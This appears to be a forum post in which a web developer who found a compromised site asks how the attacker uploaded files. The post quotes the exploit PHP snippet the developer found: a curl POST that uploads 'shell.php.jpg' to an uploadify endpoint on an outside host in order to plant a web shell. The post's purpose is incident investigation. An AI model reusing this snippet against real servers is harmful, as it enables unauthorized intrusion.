I was entrusted with an existed website for which I should do some changes on the design part, but when I was about to access it, i've seen that it has been compromised. When I was searching for the problem, I found an exploit PHP file containing this code:
$uploadfile="shell.php.jpg"; $ch = curl_init("http://macwallpaper.net/wp-content/themes/echea/js/uploadify/uploadify.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult";
I can figure out what this script is doing, but I have no idea how the attacker managed to upload it on the server. The only form that the website had was a contact form, and it was only the HTML part without the mail function. Furthermore, I've found 4 more PHP files designed as shells, with a lot of code inside, so I'm not going to post it here.
Are there any ways of deploying such packages without an uploading form, actually without a form at all?
EDIT: The website does have a database , but no other control platform like an administration portal or a client zone (there is no direct access toward the database), it does have a ftp , but i have no other information regarding ssh/scp ,etc .